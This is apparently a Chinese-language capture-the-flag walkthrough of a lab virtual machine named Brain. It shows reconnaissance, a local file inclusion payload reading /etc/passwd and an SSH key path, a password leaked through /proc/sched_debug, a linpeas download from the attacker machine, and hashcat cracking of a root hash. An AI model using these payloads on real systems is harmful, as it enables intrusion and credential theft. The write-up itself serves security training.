知非
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
Kali攻击机:192.168.1.128
靶机:192.168.1.57
信息收集阶段
nmap -A 192.168.1.57
已启用22端口和80端口:
漏洞利用阶段
访问一下80端口:apache的网页
我们试着通过apache,试着扫描一下目录。
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.57 -x txt,php,html
我们访问下以上地址:是个大脑
我们进行下一重目录和文件扫描:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.57/brainstorm -x txt,php,html
我们访问下这个文件?文件内容为空!源代码也为空!
http://192.168.1.57/brainstorm/file.php
我们猜测file.php有一个参数!可以实现本地文件包含!
这里采用wfuzz来猜测具体的参数。
wfuzz -c -t 200 --hh=0 -u 'http://192.168.1.57/brainstorm/file.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-c: Output with colors
-t N: Specify the number of concurrent connections (10 default)
--hc/hl/hw/hh N[,N]+: Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
找到了payload:file
http://192.168.1.57/brainstorm/file.php?file=/etc/passwd
我们找到了一个名为Salomon的用户,因为SSH服务正在运行,我们可以尝试窃取您的ID RSA密钥。
我们访问:一下网址,但是没有回显,这里猜测可以权限不够!!
http://192.168.1.57/brainstorm/file.php?file=/home/salomon/.ssh/id_rsa
在这种情况下,我们不能这样做,现在我们可以尝试搜索一些日志或文件,这些日志或文件可能会给我们一些提示。
在这一点上,我们将检查我们是否有读取'/proc/sched debug'文件的权限,该文件将向我们提供有关目标计算机上正在运行的进程的信息:
curl http://192.168.1.57/brainstorm/file.php?file=/proc/sched_debug
Sched Debug Version: v0.11, 4.19.0-13-amd64 #1
ktime : 2415126.404048
sched_clk : 2415129.538977
cpu_clk : 2415127.907697
jiffies : 4295496039
sched_clock_stable() : 1
sysctl_sched
.sysctl_sched_latency : 6.000000
.sysctl_sched_min_granularity : 0.750000
.sysctl_sched_wakeup_granularity : 1.000000
.sysctl_sched_child_runs_first : 0
.sysctl_sched_features : 4118331
.sysctl_sched_tunable_scaling : 1 (logaritmic)
cpu#0, 3000.004 MHz
.nr_running : 2
.load : 2097152
.nr_switches : 1656812
.nr_load_updates : 603259
.nr_uninterruptible : 0
.next_balance : 4294.892296
.curr->pid : 596
.clock : 2415128.010158
.clock_task : 2415128.010158
.cpu_load[0] : 0
.cpu_load[1] : 0
.cpu_load[2] : 0
.cpu_load[3] : 0
.cpu_load[4] : 0
.avg_idle : 1000000
.max_idle_balance_cost : 500000
cfs_rq[0]:/
.exec_clock : 0.000000
.MIN_vruntime : 15953.970580
.min_vruntime : 15953.970580
.max_vruntime : 15953.970580
.spread : 0.000000
.spread0 : 0.000000
.nr_spread_over : 0
.nr_running : 2
.load : 2097152
.runnable_weight : 2097152
.load_avg : 0
.runnable_load_avg : 0
.util_avg : 0
.util_est_enqueued : 20
.removed.load_avg : 0
.removed.util_avg : 0
.removed.runnable_sum : 0
.tg_load_avg_contrib : 0
.tg_load_avg : 0
.throttled : 0
.throttle_count : 0
rt_rq[0]:
.rt_nr_running : 0
.rt_nr_migratory : 0
.rt_throttled : 0
.rt_time : 0.000000
.rt_runtime : 950.000000
dl_rq[0]:
.dl_nr_running : 0
.dl_nr_migratory : 0
.dl_bw->bw : 996147
.dl_bw->total_bw : 0
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S systemd 1 15943.799599 1967 120 0.000000 678.964273 0.000000 0 0 /
S kthreadd 2 15824.708867 118 120 0.000000 2.179515 0.000000 0 0 /
I rcu_gp 3 115.108351 2 100 0.000000 0.002177 0.000000 0 0 /
I rcu_par_gp 4 116.608498 2 100 0.000000 0.001179 0.000000 0 0 /
I kworker/0:0H 6 1010.246262 6 100 0.000000 0.057534 0.000000 0 0 /
I mm_percpu_wq 8 122.178929 2 100 0.000000 0.001170 0.000000 0 0 /
S ksoftirqd/0 9 15947.810875 27290 120 0.000000 1014.870622 0.000000 0 0 /
I rcu_sched 10 15951.304339 61266 120 0.000000 431.472639 0.000000 0 0 /
I rcu_bh 11 128.180266 2 120 0.000000 0.000704 0.000000 0 0 /
S migration/0 12 0.000000 607 0 0.000000 13.948402 0.000000 0 0 /
R kworker/0:1 13 15953.970580 31294 120 0.000000 1062.593621 0.000000 0 0 /
S cpuhp/0 14 1359.186692 11 120 0.000000 0.066647 0.000000 0 0 /
S kdevtmpfs 15 1360.792843 148 120 0.000000 0.532263 0.000000 0 0 /
I netns 16 140.201688 2 100 0.000000 0.001677 0.000000 0 0 /
S kauditd 17 1326.686231 4 120 0.000000 0.072828 0.000000 0 0 /
S khungtaskd 18 15893.177712 21 120 0.000000 0.587100 0.000000 0 0 /
S oom_reaper 19 146.203168 2 120 0.000000 0.000961 0.000000 0 0 /
I writeback 20 148.203284 2 100 0.000000 0.001320 0.000000 0 0 /
S kcompactd0 21 150.204308 2 120 0.000000 0.001409 0.000000 0 0 /
S ksmd 22 152.206648 2 125 0.000000 0.001649 0.000000 0 0 /
S khugepaged 23 15953.765103 246 139 0.000000 21.483636 0.000000 0 0 /
I crypto 24 156.204428 2 100 0.000000 0.000360 0.000000 0 0 /
I kintegrityd 25 158.204427 2 100 0.000000 0.000000 0.000000 0 0 /
I kblockd 26 160.205959 2 100 0.000000 0.003510 0.000000 0 0 /
I edac-poller 27 176.780567 2 100 0.000000 0.002156 0.000000 0 0 /
I devfreq_wq 28 178.280835 2 100 0.000000 0.001591 0.000000 0 0 /
S watchdogd 29 0.000000 2 0 0.000000 0.001419 0.000000 0 0 /
S kswapd0 30 15432.357950 91 120 0.000000 133.793690 0.000000 0 0 /
I kthrotld 48 662.225825 2 100 0.000000 0.001990 0.000000 0 0 /
I ipv6_addrconf 49 663.426241 2 100 0.000000 0.001479 0.000000 0 0 /
I kworker/u2:1 50 15895.449626 327 120 0.000000 75.510599 0.000000 0 0 /
I kstrp 59 691.013799 2 100 0.000000 0.001853 0.000000 0 0 /
I ata_sff 104 816.553958 2 100 0.000000 0.004505 0.000000 0 0 /
S scsi_eh_0 106 918.691487 4 120 0.000000 12.003768 0.000000 0 0 /
I scsi_tmf_0 107 818.481049 2 100 0.000000 0.004023 0.000000 0 0 /
S scsi_eh_1 110 1325.807403 44 120 0.000000 2.510018 0.000000 0 0 /
S scsi_eh_2 111 1010.246625 22 120 0.000000 22.600484 0.000000 0 0 /
I scsi_tmf_2 112 820.639506 2 100 0.000000 0.002787 0.000000 0 0 /
I scsi_tmf_1 113 820.950476 2 100 0.000000 0.002584 0.000000 0 0 /
I kworker/u2:2 115 1360.558650 117 120 0.000000 3.033553 0.000000 0 0 /
I kworker/0:1H 153 15950.765331 3060 100 0.000000 40.077081 0.000000 0 0 /
I kworker/u3:0 184 1129.038243 2 100 0.000000 0.001931 0.000000 0 0 /
S jbd2/sda1-8 186 15879.453427 466 120 0.000000 14.287603 0.000000 0 0 /
Iext4-rsv-conver 187 1152.858544 2 100 0.000000 0.002988 0.000000 0 0 /
Ssystemd-journal 215 15927.771280 348 120 0.000000 85.075119 0.000000 0 0 /
S systemd-udevd 236 15943.727742 640 120 0.000000 57.106807 0.000000 0 0 /
Ssystemd-timesyn 273 15943.763342 106 120 0.000000 34.173431 0.000000 0 0 /
S sd-resolve 298 1543.968432 19 120 0.000000 2.401260 0.000000 0 0 /
I ttm_swap 296 1336.907980 2 100 0.000000 0.002593 0.000000 0 0 /
S irq/18-vmwgfx 297 0.000000 4 49 0.000000 0.370559 0.000000 0 0 /
S dbus-daemon 307 15751.101575 1560 120 0.000000 104.089946 0.000000 0 0 /
S rsyslogd 311 15946.133667 52 120 0.000000 3.628849 0.000000 0 0 /
S in:imuxsock 323 15750.963567 184 120 0.000000 5.245293 0.000000 0 0 /
S in:imklog 324 13010.506399 5 120 0.000000 0.714718 0.000000 0 0 /
S rs:main Q:Reg 327 15750.955106 223 120 0.000000 3.157403 0.000000 0 0 /
S systemd-logind 312 15943.810307 129 120 0.000000 27.919045 0.000000 0 0 /
S cron 315 15927.761046 87 120 0.000000 5.525231 0.000000 0 0 /
S cron 321 1373.830614 37 120 0.000000 2.177455 0.000000 0 0 /
S sh 342 1376.551561 8 120 0.000000 0.819292 0.000000 0 0 /
Ssalomon:MyBr4iN345 1378.301285 18 120 0.000000 1.436903 0.000000 0 0 /
S agetty 352 1498.706821 19 120 0.000000 3.172355 0.000000 0 0 /
S python 356 15951.465294 5126 120 0.000000 310.936487 0.000000 0 0 /
S sleep 357 1382.512578 3 120 0.000000 0.908624 0.000000 0 0 /
S dhclient 360 1532.451454 83 120 0.000000 9.039763 0.000000 0 0 /
S sshd 374 1694.347588 49 120 0.000000 22.179254 0.000000 0 0 /
S apache2 399 15950.977388 2599 120 0.000000 293.500960 0.000000 0 0 /
S apache2 562 15556.515376 1647 120 0.000000 342.403133 0.000000 0 0 /
>R apache2 596 15951.307296 1664 120 0.000000 378.981437 0.000000 0 0 /
S apache2 601 15858.749953 1652 120 0.000000 359.194587 0.000000 0 0 /
S apache2 619 15440.166013 1639 120 0.000000 329.132261 0.000000 0 0 /
S apache2 630 15951.252187 1648 120 0.000000 371.023059 0.000000 0 0 /
S apache2 653 15843.266997 1652 120 0.000000 329.614204 0.000000 0 0 /
S apache2 686 15440.982750 1401 120 0.000000 307.299121 0.000000 0 0 /
S apache2 690 15440.116897 1332 120 0.000000 288.804118 0.000000 0 0 /
S apache2 698 15442.517737 1335 120 0.000000 273.474257 0.000000 0 0 /
S apache2 704 15820.955217 1336 120 0.000000 278.010601 0.000000 0 0 /
I kworker/0:2 717 15827.714082 159 120 0.000000 5.706413 0.000000 0 0 /
I kworker/0:0 773 15950.868663 115 120 0.000000 3.783944 0.000000 0 0 /
┌──(root���kali)-[~]
└─#
我不得不切断命令的输出,因为它太长了…可能看起来没什么有趣的,但是,是的,我们可以看到,在一个地方提到了著名的用户所罗门,然后是两个点,看起来像他的密码(我按了X)。
使用以下命令,我们将尝试通过SSH连接到凭据:
SSH密码:MyBr4iN
第一个flag:
onS6l**********************KY8sQ
权限提升阶段
接下里,需要提权到root。
在这一点上,我们已经有了对机器的访问权,但我们还不是具有高特权(root)的用户,因此更容易升级特权。我们将使用linpeas。Linpeas是一个工具,帮助我们在这个阶段。
我们现在本机上把这个脚本下载下来:
下载地址:https://github.com/carlospolop/PEASS-ng/releases/tag/20220220
Kali开启HTTP:
python3 -m http.server
普通用户所在主机下载该脚本:
wget http://192.168.1.128:8000/linpeas.sh
chmod 600 linpeas.sh
./linpeas.sh
Check weird & unexpected proceses run by root:
检查root运行的奇怪和非预期的进程:
https://book.hacktricks.xyz/linux-unix/privilege-escalation
我们可以看到root用户正在使用python运行服务器。我们将向服务器发出GET请求:
mkdir brain
cd brain
wget 127.0.0.1:65000
看来我们找到了一个散列,我们要在本地破解它。
echo 065BB0B9A0C654E5B3B6292C4698BD67CE6A331209D941989EC4D728FBE3290E47D2058839215BBE6144F51E7FCE8A8C6A5626E0CB7521641D742251F5A17167 >> hash
导出来!!!
然后通过hashcat工具进行解密,字典用140M那个rockyou.txt!!!
hashcat -O -a0 -m1700 hash /usr/share/wordlists/rockyou.txt
-O, --optimized-kernel-enable || Enable optimized kernels (limits password length)
充分利用kernel,限制密码长度
-a, --attack-mode | Num | Attack-mode, see references below
进攻模式:
# | Mode
===+======
0 | Straight
1 | Combination
3 | Brute-force
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist
-m, --hash-type| Num | Hash-type, see references below
1700 | SHA2-512| Raw Hash
065bb0b9a0c654e5b3b6292c4698bd67ce6a331209d941989ec4d728fbe3290e47d2058839215bbe6144f51e7fce8a8c6a5626e0cb7521641d742251f5a17167:gemini
我们把散列!现在我们要成为root提供decifrada密码。
Contraseña:
root@Brain:/home/salomon# id
uid=0(root) gid=0(root) grupos=0(root)
find / -name root.txt -print
root@Brain:/home/salomon# cat /root/root.txt
gm**********************baoUWM
Root的flag是:gm**********************baoUWM
后记
如果有什么疑问,欢迎在评论区交流!
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
